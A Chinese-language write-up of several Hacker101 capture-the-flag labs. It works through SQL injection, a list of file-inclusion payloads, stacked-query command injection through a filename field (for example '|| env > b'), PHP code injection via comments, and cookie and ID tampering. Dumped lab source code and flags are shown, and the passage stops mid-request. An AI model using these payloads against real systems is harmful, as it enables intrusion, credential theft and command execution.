记录一下hacker101

Micro-CMS v2

flag0

输入admin admin报错

返回Unknown user

构造一下sql注入

1
2
3
username=admin' or 1=1%23&password=1

Invalid password

存在注入

order by 查一下列数,发现只有一列,难道user和pass是分开验证的??

并且页面存在报错显示

推测一下后台的逻辑

1
2
3
4
5
6
7
"select password from user where username=' ".$_POST['username']." ';"

if ($_POST['password']===password){

success

}

测试一下,

1
username=admin' union select 1 %23&password=1

admin为不存在的用户,所以union联合查询的结果是select 1 也就是1 1===1绕过判断

登陆后在随便点点试试,在private page页面发现flag

flag1

别忘了报错显示

报错注入打一波

username=1’ and (updatexml(0x3a,concat(1,(select user())),1));&password=1

查看返回信息

1
2
3
4
5
6
7
8
Traceback (most recent call last):
File "./main.py", line 145, in do_login
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
self.errorhandler(self, exc, value)
File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
raise errorvalue
OperationalError: (1105, "XPATH syntax error: '[email protected]'")

用户名是user是root 后台是用python写的 数据库的MySQL

拿数据库

1
2
username=1' and (updatexml(0x3a,concat(1,(select database())),1));&password=1
level2

拿表名

1
2
3
username=1' and (updatexml(0x3a,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1));&password=1

admins,pages

拿列名

1
2
3
username=1' and (updatexml(0x3a,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='admins')),1));&password=1

id,username,password

拿数据

1
2
3
4
username=1' and (updatexml(0x3a,concat(1,(select group_concat(password) from admins)),1));&password=1

username jaime
password heidy

登陆一下 拿到flag

flag2

根据他的提示 不同的请求方法可能会有不同的权限 类似于动词修改

也就是说,修改请求方法,可以访问原来不可以访问的页面,找一下原来不可以访问的页面,也就是刚才需要编辑的页面Micro-CMS Changelog ==> edit this page, 这里需要登陆,试试不登陆 改方法能不能绕过

抓一下包,把get改成post

POST /6f1efbc985/page/edit/1 HTTP/1.1

拿到flag

有几张图片,右键看一下图片的地址,还有源码

图片是用id调用的,并且是数字,可能有数字型注入,试试

输入1’ 报错

再试

fetch?id=1 and 1=1

返回图片的文本数据

fetch?id=1 and 1=2

报错

确定有数字型注入,(数字型注入也可以这样判断id=1+1 注意+ 会被当作空格 url编码一下 %2B)

查列数,order by 1不报错,只有一列,

1
2
3
4
5
6
7
8
9
10
推测后台执行语句

select jpg from table where id=$_GET['id'];

输入id=3 错误 服务器内部错误 状态码500

输入id=4 错误 没有请求资源 状态码404

输入id=-1 错误 没有请求资源 状态码404
id =-1 union select 1 报错

算了不试了

sqlmap跑一下试试

1
2
3
4
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 9054=9054

慢慢跑吧

跑了好长时间…. 头疼~

1
2
3
4
5
6
Database: level5
[2 tables]
+--------+
| albums |
| photos |
+--------+

不跑了不跑了,直接看wp里的结果

1
2
3
4
5
6
7
8
9
10
Table1:albums

id title
1 Kittens
Table:photos

id title parent filename
1 Utterly adorable 1 files/adorable.jpg
2 Purrfect 1 files/purrfect.jpg
3 Invisible 1 f8f1e29a43623363a3f53cede84d8c845a1c58076bcbf668c5372b593b7ef71d

还是没思路

看提示 此应用程序在uwsgi-nginx-flask-docker映像上运行

这是什么东西??? 其他的不知道 flask我还是知道的 难道要模板注入

查一下

这个架构的一般文件结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|____docker-compose.yaml
|____web
| |____Dockerfile
| |____entrypoint.sh
| |____start.sh
| |____app
| | |______init__.py
| | |____models.py
| | |____views.py
| | |____requirements.txt
| | |____utils.py
| | |____helper.py
| | |____settings.py
| | |____app.py
| | |____uwsgi.ini
|____README.md

还是没思路,看一下wp

wp这里写着 union select files/adorable.jpg 这样就可以查文件,嗯??? 查文件不是应该用函数(load_file)吗??? 再往下看看,突然想明白了,他应该是把文件路径放在了数据库里,所以可以直接查文件 …..

回来继续做

读一下源码和配置文件吧(这里又发现了一个问题 ,我并没有在数据库中发现uwsgi.ini main.py文件的路径,为啥还可以这样直接读)

1
2
3
4
5
fetch?id=4 union select 'uwsgi.ini'

[uwsgi]
module = main
callable = app

继续读 main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess

app = Flask(__name__)

home = '''
<!doctype html>
<html>
<head>
<title>Magical Image Gallery</title>
</head>
<body>
<h1>Magical Image Gallery</h1>
$ALBUMS$
</body>
</html>
'''

viewAlbum = '''
<!doctype html>
<html>
<head>
<title>$TITLE$ -- Magical Image Gallery</title>
</head>
<body>
<h1>$TITLE$</h1>
$GALLERY$
</body>
</html>
'''

def getDb():
return MySQLdb.connect(host="localhost", user="root", password="", db="level5")

def sanitize(data):
return data.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')

@app.route('/')
def index():
cur = getDb().cursor()
cur.execute('SELECT id, title FROM albums')
albums = list(cur.fetchall())

rep = ''
for id, title in albums:
rep += '<h2>%s</h2>\n' % sanitize(title)
rep += '<div>'
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
rep += '</div>\n'

return home.replace('$ALBUMS$', rep)

@app.route('/fetch')
def fetch():
cur = getDb().cursor()
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
abort(404)

# It's dangerous to go alone, take this:
# ^FLAG^5cd881278dca5c53d3420e4ea5b3a853d26da3a234fd2c09bc56367264297f02$FLAG$

return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)

感觉发现了宝藏 有一个flag

审计一下源码

先放几个函数的用法

cursor() 建立一个数据库连接

execute() 执行查询语句,支持 堆叠查询

fetchone 返回单个的元组,也就是一条记录(row),如果没有结果 则返回 None

1
2
3
cur.execute(' SELECT file,name FROM tables')
cur.fetchone()[0] ==> file
cur.fetchone()[1] ==> name

看到有个<h2>标签,能不能xss??? 跟踪一下,发现有转义函数,死心了 继续看

但是他的h2标签的内容是从数据库中拿出来的

这里还有个可以执行命令的函数subprocess.check_output,先放着,再往下看看

看到这里就明白了,为什么可以直接读文件了,他调用了file.read()函数,触发这个函数的条件是,查询结果不为0,利用union查询,让前面的查询返回为空,这个就可以在后面的语句里面构造任意文件,但是有./ 并且过滤了..不能跳目录

1
2
3
4
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
​ abort(404)

return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

这样也明白了为什么id=-1 union select 1会报错,因为没有1这个文件

再去读一下其他的默认文件,。。。。毫无收获

回头看一下,命令执行那个点

du -ch 显示文件大小的命令,要想利用命令注入,就必须控制fns ,跟踪一下fns,fns的数据由pfn构成,pfn来自filename,也就是说,控制filename,就可以命令注入。 但是怎么感觉filename不可控呢,看一眼wp,

原来是用了堆叠查询,控制了数据库中的内容

1
2
fetch?id=1;update photos set title='test' where id=1;commit;  #可以看到标题被改为test
fetch?id=1;update photos set filename='uwsgi.ini' where id=1;commit; #访问一下id=1试试,文件的内容被成功修改

利用||分割,实现命令执行

1
2
3
4
5
6
7
8
9
10
fetch?id=2;update  photos set filename='uwsgi.ini || ls' where id=2;commit;

#输出
Space used: ls: cannot access 'files/a5ff48a37c No such file or directory

#这里还需要删除一下其他两个文件的干扰,
fetch?id=2;delete from photos where id<>2;commit;

#成功显示
Space used: uwsgi.ini

有rsplit(‘\n’, 1)[-1]输出限制,只输出第一行,这里有多种绕过方式,我是这样绕过的,把命令结果输出到一个文件a内,再把id=2的内容更新为文件a,访问id=2就可以看到结果

也可以用tr命令fetch?id=1;update photos set filename”xx ||env|tr -t ‘n’ ‘:’” where id=1;commit;–

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fetch?id=2;update  photos set filename='uwsgi.ini || ls >a' where id=2;commit;

fetch?id=2;update photos set filename='a' where id=2;commit;

fetch?id=2

#结果

Dockerfile
a
files
main.py
main.pyc
prestart.sh
requirements.txt
uwsgi.ini

直接看env环境变量,这里我试了很多次,只有这一个成功,不知道咋回事

1
2
3
fetch?id=2;update  photos set filename='uwsgi.ini || env > b' where id=2;commit;

fetch?id=-2 union select 'b' #这里按照上面的那种先更新文件内容在查询的方式,不行 ,但是可以用这种更简单的方式

三个flag都在这,靶机貌似不能外连,不能反弹shell

1
PYTHONIOENCODING=UTF-8 UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi SUPERVISOR_GROUP_NAME=uwsgi FLAGS=["^FLAG^5cd881278dca5c53d3420e4ea5b3a853d26da3a234fd2c09bc56367264297f02$FLAG$", "^FLAG^a5ff48a37c0d11f2a5f92c189724a749c4cad71721d86de7d3df502227c4eb44$FLAG$", "^FLAG^480b26cf750c7607249fda1df924fefaa5b2f54afc0226f49723f05443af1a65$FLAG$"] HOSTNAME=de904848376b SHLVL=0 PYTHON_PIP_VERSION=18.1 HOME=/root GPG_KEY=C01E1CAD5EA2C4F0B8E3571504C367C218ADD4FF UWSGI_INI=/app/uwsgi.ini NGINX_MAX_UPLOAD=0 UWSGI_PROCESSES=16 STATIC_URL=/static UWSGI_CHEAPER=2 NGINX_VERSION=1.13.12-1~stretch PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NJS_VERSION=1.13.12.0.2.0-1~stretch LANG=C.UTF-8 SUPERVISOR_ENABLED=1 PYTHON_VERSION=2.7.15 NGINX_WORKER_PROCESSES=1 SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock SUPERVISOR_PROCESS_NAME=uwsgi LISTEN_PORT=80 STATIC_INDEX=0 PWD=/app STATIC_PATH=/app/static PYTHONPATH=/app UWSGI_RELOADS=0

这里的a5ff不就是刚才报错的那个文件吗

Cody’s First Blog

界面提示include() 右键源码,看到

1
<!--<a href="?page=admin.auth.inc">Admin login</a>-->

访问一下试试,看到一个登录框,和一个评论框,

在评论界面试过xss,但是没有地方回显,不知道有没有xss 输入框貌似过滤了单引号,注入也行不通,弱密码爆破试试 也不行

改一下admin.auth.inc这个文件名试试,发现报错了,可以看到报错路径,注意报错界面的信息,很重要

是文件包含,并且添加了.php后缀 试了把filter伪协议,发现重定向到了初始界面,感觉貌似有waf,

注意:当php版本小于5.3.4时,且magic_quote_gpc关闭,可以在文件名中使用%00进行截断,%00后的内容不会被识别,这可以用来绕过.php后缀,然而这里的php版本为5.5.9,所以%00截断可以放弃了(请求头里有

X-Powered-By PHP/5.5.9-1ubuntu4.24

尝试远程文件包含,http://vps_ip/date,但是这里的靶机不能外连

本地文件包含payload清单 @afeixbug

1
2
3
4
5
6
7
8
9
10
11
12
?page=/etc/passwd
?page=/etc/passwd%00
?page=../../../../../../../../../etc/passwd
?page=../../../../../../../../../etc/passwd%00
?page=data:text/plain,<?php phpinfo();?>%00
?page=data:text/plain;base64,base64编码后的数据,注意payload不能以?>闭合???
?page=php://filter/read=convert.base64-encode/resource=example2.php%00
?page=php://filter/read=string.rot13/resource=example2.php%00
?page=zip://./shell.jpg%23shell.php //这个要能上传zip文件
?page=/var/log/httpd/access.log //日志包含
?page=../../../../../proc/self/environ
?page=../../../../../proc/self/environ%00

猜测waf可能过滤了php 或者php://filter

试试

输入php,没事显示的是,include包含错误

输入php:// 重定向到了初始化界面,我猜对了,过滤了php://伪协议

再去试一下data://伪协议 不行

猜测一下是黑名单还是白名单,随便输入一个协议名

page=dadsd:// 还是初始化界面, 很明显白名单过滤 这里也有可能是过滤了://,先按照协议试试

猜测他的白名单了有什么协议

file:/// 不行

http:// 可以

那这样是不是像一个ssrf 探测一下端口 dict不能用只能用http 而且还不能包含远程文件

1
2
3
?page=http://127.0.0.1:77/index
//输出
Warning: include(http://127.0.0.1:77/index.php): failed to open stream: Connection refused in /app/index.php on line 21

忘了后面有php后缀,不能探测

试一下本地登陆,能不能绕过登陆验证

1
2
3
?page=http://127.0.0.1:80/admin.auth.inc

//不行

这里就需要和刚才推断文件包含时一样了,该文件名,admin.inc admin.auth user.auth 。。。。。最坏的情况是爆破文件名

1
2
3
4
5
6
7
?page=http://127.0.0.1:80/admin.inc

Warning: mysql_query(): Access denied for user ''@'localhost' (using password: NO) in /app/admin.inc.php on line 5

Warning: mysql_query(): A link to the server could not be established in /app/admin.inc.php on line 5

Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /app/admin.inc.php on line 6

这个界面看来是有的, 猜测刚才那个admin.auth.inc可能是一个认证界面,认证成功后,会跳转到admin.inc界面

不用http协议,直接包含试试(也不知道这两种方式有啥区别)

1
2
3
4
?page=admin.inc
Comment on home.inc

<script>alert(1)</script>

这里可以看到刚才提交的所有评论,最后有一个flag

那现在的情况就是,有一个admin.inc.php,可以把之前评论框里的内容显示出来,再进一步 ==> 输入php代码的话,那么能不能当作php代码解析呢

在下面的评论框里,随便输入

1
<?php phpinfo();?>

出现第二个flag,但是phpinfo没有被解析,本来还想着这个admin.inc就相当于一个shell了 2333

查看源代码,发现<?php phpinfo();?>已经被嵌到页面内

1
2
3
4
5
6
7
		<hr>
<p><?php phpinfo() ?></p>
<hr>
<p>?><?php phpinfo();?></p>
<hr>
<p><?php phpinfo();?></p>
</body>

还有一点,删除有approve(批准)是个数字,可能有注入

1
<a href="?page=admin.inc&approve=12">Approve Comment</a>

admin.inc批准了以后,评论去哪了,主页面

回去看主页面,刚才我弄的那个弹窗全都被解析了,早知道少弄几个弹窗了

这里还有一个坑,在admin界面添加的评论,不会显示到主页面,主页面显示的评论,只是在主页面上提交的评论,再提交个phpinfo()试试,去admin.inc界面批准一下,回去看看,phpinfo()已经被嵌到了页面内,但是phpinfo是php才能解析,浏览器不能解析,包含一下

直接?page=index还不行 还得用http://

?page=http://127.0.0.1:80/index

image

拿源码

1
<?php echo file_get_contents('index.php');?>

这里需要重启才行,不知道咋回事

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
// ^FLAG^948a25adf06e7a7d845799719b7f9763af3413861e89320efa7c0a47fd3a439e$FLAG$
mysql_connect("localhost", "root", "");
mysql_select_db("level4");
$page = isset($_GET['page']) ? $_GET['page'] : 'home.inc';
if(strpos($page, ':') !== false && substr($page, 0, 5) !== "http:")
$page = "home.inc";

if(isset($_POST['body'])) {
mysql_query("INSERT INTO comments (page, body, approved) VALUES ('" . mysql_real_escape_string($page) . "', '" . mysql_real_escape_string($_POST['body']) . "', 0)");
if(strpos($_POST['body'], '<?php') !== false)
echo '<p>^FLAG^0e5d4917c92f6a4ed8094dc31610db5f111fa6818143bdaa9b58119ba37ca282$FLAG$</p>';
?>
<p>Comment submitted and awaiting approval!</p>
<a href="javascript:window.history.back()">Go back</a>
<?php
exit();
}

ob_start();
include($page . ".php");
$body = ob_get_clean();
?>
<!doctype html>
<html>
<head>
<title><?php echo $title; ?> -- Cody's First Blog</title>
</head>
<body>
<h1><?php echo $title; ?></h1>
<?php echo $body; ?>
<br>
<br>
<hr>
<h3>Comments</h3>
<!--<a href="?page=admin.auth.inc">Admin login</a>-->
<h4>Add comment:</h4>
<form method="POST">
<textarea rows="4" cols="60" name="body"></textarea><br>
<input type="submit" value="Submit">
</form>
<?php
$q = mysql_query("SELECT body FROM comments WHERE page='" . mysql_real_escape_string($page) . "' AND approved=1");
while($row = mysql_fetch_assoc($q)) {
?>
<hr>
<p><?php echo $row["body"]; ?></p>
<?php
}
?>

再去看一下

admin.inc 和admin.auth.inc的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
admin.inc.php
<?php
if(isset($_GET["approve"]))
mysql_query("UPDATE comments SET approved=1 WHERE id=" . $_GET["approve"]);
$q = mysql_query("SELECT id, page, body FROM comments WHERE approved=0");
while($row = mysql_fetch_assoc($q)) {
?>
<hr>
<h3>Comment on <?php echo htmlentities($row["page"]); ?></h3>
<p><?php echo htmlentities($row["body"]); ?></p>
<a href="?page=admin.inc&approve=<?php echo $row["id"]; ?>">Approve Comment</a>
<?php
}

$title = "Admin";
?>



//admin.auth.inc.php 就是个幌子,压根就没密码
<form method="POST">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Log In"><br>
<?php
if(isset($_POST[“username”]) || isset($_POST[“password”]))
echo ‘<span style="color: red;">Incorrect username or password</span>‘;
?>
</form>

Postbook

这题漏洞点比较多,一共7个flag,

先注册一个账号,然后登陆,用户名写着只允许小写字母,抓包改一下,就可以绕过,

用admin admin登陆

文件结构

edit.php 有id参数

profile.php 有id参数

account.php

view.php 有id参数

create.php

sign_out.php

sign_in.php

flag0 1

编辑页面

index.php?page=edit.php&id=4 更改id参数,看看能不能修改别人的页面,

改为id=1时,出现另一个页面,更改提交,出现一个flag 把属性设为only 又出现一个flag(这个应该时查看了别人的secret blog)

image

flag2

既然能edit,试试能不能删除

1
2
3
4
5
6
7
8
/index.php?page=delete.php&id=a87ff679a2f3e71d9181a67b7542122c HTTP/1.1
Host: 35.190.155.168
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://35.190.155.168/81286ba609/index.php?page=profile.php&id=e
Cookie: id=a87ff679a2f3e71d9181a67b7542122c

看到cookie中的id参数 貌似是一串md5值,GET参数里面也有,还是一样的,解密 ==>4 也就是刚才在edit界面看到的id,只不过这里hash了

把GET参数内的id改为1的md5值,发包,在响应头里面可以看到flag

flag3

看一下cookie,伪造cookie尝试登陆,md5(1),拿到flag

flag4

在profile.php界面改id参数,可以看到别人的profile,这里有个create功能,看看能不能以别人的名义,发个blog

1
2
3
4
5
6
User-Agent: Mozilla/5.0 (Windows NT 10.